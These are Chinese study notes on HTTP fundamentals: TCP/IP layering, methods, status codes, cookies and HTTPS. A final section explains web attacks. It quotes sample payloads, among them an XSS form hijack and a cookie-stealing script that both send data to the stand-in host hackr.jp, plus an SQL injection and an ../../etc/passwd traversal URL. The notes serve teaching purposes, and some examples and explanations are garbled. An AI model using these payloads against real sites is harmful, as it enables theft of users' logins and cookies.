图解 http
网络基础 TCP/IP
TCP/IP 协议族里最重要的一点是分层。:应用层、传输层、网络层和数据链路层。
· 应用层决定了向用户提供应用服务时通信的活动。 · 传输层对上层应用层,提供处于网络连接中的两台计算机之间的数据串数。 · 网络层用来处理在网络上流动的数据包。 · 链路层(又名数据链路层、网络接口层)用来处理网络连接的硬件部分。
TCP/IP 通信传输流
HTTP 举例,首先作为发送端的客户端在应用层 (HTTP 协议)发出一个想看某个 Web 页面的 HTTP 请求。
接着 为了传输方便,在传输层 (TCP 协议)把从应用层处收到的数据(HTTP 协议)把从应用层处收到的数据(HTTP 请求报文)进行分割,并在各个报文上打上标记序号及端口号后转发给网络层。
在网络层(IP 协议),增加作为通信目的地的 MAC 地址后转发给链路层。
接收端的服务器在链路层接收到的数据按序往上层发送知道应用层。
与 HTTP 关系密切的协议:IP、TCP 和 DNS
IP 协议的作用是把各种数据包传送给对方。保证确实传送两个重要条件是 IP 地址和 MAC 地址。 IP 地址指明了节点被分配到的地址,MAC 地址是指网卡所属的固定地址。
ARP 是一种用以解析地址的协议,根据通信方的 IP 地址就可以反查出对应的 MAC 地址。
无论哪台计算机、哪台网络设备,他们都无法全面掌握互联网中的细节。
TCP 位于传输层,提供可靠的字节流服务。 TCP 协议为了更容易传送大数据才把数据分割,而且 TCP 协议能够确认数据最终是否送达到对方。
TCP 协议采用三次握手策略。 握手过程使用了 TCP 的标志—SYN 和 ACK。
负责域名解析的 DNS 服务
DNS 服务是和 HTTP 协议一样位于应用层的协议。它提供域名到 IP 地址之间的解析服务。
URI 和 URL
统一资源标识符 URI(Uniform Resource Identifier)。 URI 是由某个协议方案表示的资源的定位标识符。
URI 用字符串标识某一互联网的资源,而 URL 表示资源的地点。URL 是 URI 的子集。
简单的 HTTP 协议
HTTP 协议用于客户端和服务器端之间的通信,访问和提供文本或图像等资源。
HTTP 协议规定,请求从客户端发出,最后服务器端响应该请求并返回。
请求报文是由请求方法、请求 URI、协议版本、可选的请求首部字段和内容实体构成的。
响应报文基本上由协议版本、状态码、用以解释状态码的原因短语、可选的响应首部字段以及实体主体构成。
HTTP 是一种不保存状态、即无状态协议。HTTP 协议自身不对请求和响应之间的通信状态进行保存。在 HTTP 级别协议对于发送过的请求或响应都不做持久化处理。
告知服务器意图的 HTTP 方法
GET:获取资源,用来请求访问已被 URI 识别的资源。指定的资源经服务器端解析后返回响应内容。
POST:传输实体主体; PUT:传输文件; HEAD:获得报文首部,用于确认 URI 的有效性及资源更新的日期时间等; DELETE:删除文件,和 PUT 方法一样不带验证机制,当配合 Web 应用程序的验证机制或遵守 REST 标准时有可能开放使用; OPTIONS:询问支持的方法,用来查询针对请求 URI 指定的资源支持的方法; TRACE:追踪路径,让 Web 服务器端将之前的请求通信环回给客户端, TRACE 方法本来就不怎么用又容易引发 XST(跨站追踪),通常不会用到了; CONNECT:要求用隧道协议连接代理,CONNECT 方法要求在与代理服务器通信时建立隧道,实现用隧道协议进行 TCP 通信。主要使用 SSL 和 TLS 协议把通信内容加密后经网络隧道传输。
使用方法下达命令
向请求 URI 指定的资源发送请求报文时,采用称为方法的命令。
持久连接节省通信量
持久连接的特点是,只要任意一端没有明确提出断开连接,则保持 TCP 连接状态。
持久连接使得多数请求以管线化方式发送成为可能。 —不用等待响应亦可直接发送下一个请求。
使用 Cookie 的状态管理
无状态协议可减少服务器 CPU 及内存资源消耗,因为 HTTP 协议本身非常简单才会被应用到各种场景。
Cookie 会根据从服务器端发送的响应报文内的一个叫做 Set-Cookie 的首部字段信息,通知客户端保存 Cookie。当下次客户端再往该服务器发送请求时,客户端会自动在请求报文中加入 Cookie 值后发送出去。
HTTP 报文内的 HTTP 信息
HTTP 报文
用于 HTTP 协议交互的信息被称为 HTTP 报文。 HTTP 报文大致可分为报文首部和报文主体两块。
请求报文及响应报文的结构
· 请求行 包括用于请求的方法,请求 URI 和 HTTP 版本。 · 状态行 包含表明响应结果的状态码,原因短语和 HTTP 版本。 · 首部字段 包含表示请求和响应的各种条件和属性的各类首部(一般 4 种,通用首部、请求首部、响应首部和实体首部)。 · 其它 可能包含 HTTP 的 RFC 里未定义的首部 (Cookie 等)。
发送多种数据的多部份对象集合
MIME(多用途因特网邮件扩展)机制允许邮件处理文本、图片、视频等多个不同类型的数据。 HTTP 协议中也采纳了多部份对象集合,发送的一份报文主体内可含有多类型实体。通常是在图片或文本文件等上传时使用。
多部分对象集合包含的对象如下:
· multipart/form-data 在 Web 表单文件上传时使用。 · multipart/byteranges 状态码 206
获取部分内容的范围请求
遇到网络中断时,需要一种恢复机制-指能从之前下载中断处恢复下载。要实现该功能需要指定下载的实体范围。像这样,指定范围发送的请求叫做范围请求。
byte 范围的指定形式 Range: bytes=5001-10000 Range: bytes=5001- Range: bytes=-3000, 5000-7000
内容协商返回最合适的内容
当浏览器的默认语言为英文或中文,访问相同 URI 的 Web 页面时,则会显式对应的英语版或中文版的 Web 页面。这样的机制成为内容协商。 内容协商机制是指客户端和服务器端就响应的资源内容进行交涉,然后提供给客户端最为适合的资源。
内容协商协议有 3 种类型: 服务器驱动协商、客户端驱动协商、透明协商。
返回结果的 HTTP 状态码
状态码的职责是当客户端向服务器端发送请求时,描述返回的请求结果。
2.xx 成功
· 200 ok,表示从客户端发来的请求在服务器端被正常处理了。 · 204 No Content,代表服务器接收的请求已成功处理,但在返回的响应报文中不含实体的主体部分。另外,也不允许返回任何实体的主体。 · 206 Partial Content,表示客户端进行了范围请求,而服务器成功执行了这部分的 GET 请求。
3.xx 重定向
· 301 Moved Permanently,永久性重定向。表示请求的资源已被分配了新的 URI。 · 302 Found,临时重定向。希望用户(本次)能用新的 URI 访问。 · 303 See Other,表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。 · 304 Not Modified,表示客户端发送附带条件的请求时,服务器端允许请求访问资源,但因发生请求未满足条件的情况后,直接返回 304 Not Modified。 · 307 Temporary Redirect,临时重定向。
4.xx 客户端错误
· 400 Bad Request,表示请求报文中存在语法错误。浏览器会像 200ok 一样对待该状态码。 · 401 Unauthorized,表示发送的请求需要有通过 HTTP 认证的认证信息。 · 403 Forbidden,表明对请求资源的访问被服务器拒绝了。 · 404 Not Found,服务器上无法找到请求的资源。
5.xx 服务器错误
· 500 Internal Server Error,服务器端在执行请求时发生了错误。 · 503 Service Unavailable,服务器暂时超负载或正在停机维护,现在无法处理请求。
与 HTTP 协作的 Web 服务器
代理,网关,隧道。
HTTP 首部
在请求中,HTTP 报文由方法、URL、HTTP 版本、HTTP 首部字段等部分构成。
确保 Web 安全的 HTTPS
HTTP+加密+认证+完整性保护=HTTPS
Web 的攻击技术
针对 Web 应用的攻击模式 · 主动攻击 (SQL 注入、OS 命令注入) · 被动攻击 · 以服务器为目标的主动攻击
跨站脚本攻击(XSS)
指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。可能造成影响有
· 利用虚假输入表单骗取用户个人信息 · 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。 · 显式伪造的文章或图片
跨站脚本攻击案例
http://example.jp?login? ID="><script>var+f=document=>.getElementById("login"); +f.action="http://hackr.jp/pwget"; +f.method==>"get";</script><span+s="
用户 Cookie 窃取攻击
var content = escape(document.cookie)
document.write("<img src=http://hackr.jp/?")
document.write(content)
document.write(">")
SQL 注入攻击
SQL 注入是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。造成的影响有
· 非法查看或篡改数据库内的数据 · 规避认证 · 执行和数据库服务器业务关联的程序等
SQL 语句示例 SELECT title,text FROM nwesTbl WHERE id=123
攻击案例
SELECT * FROM bookTbl WHERE author = 'someone'--' and flag=1 SQL 语句中—之后全视为注释。这样连那些尚未出版的图书也一并显式出来了
OS 命令注入攻击
指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。Shell 函数
HTTP 首部注入攻击
指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。造成影响有
· 设置任何 Cookie 信息 · 重定向至任意 URL · 显式任意的主体
邮件首部注入攻击
目录遍历攻击
对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。有时也称为路径遍历攻击。
http://example.com/read.php?log=../../etc/passwd
远程文件包含漏洞
因会话管理疏忽引发的安全漏洞
会话劫持
攻击者通过某种手段拿到了用户的会话 ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的。
会话固定攻击
跨站请求伪造(CSRF)
攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。影响有
· 利用已通过认证的用户权限更新设定信息等 · 利用以通过认证的用户权限购买商品 · 利用已通过认证的用户权限在留言板发表言论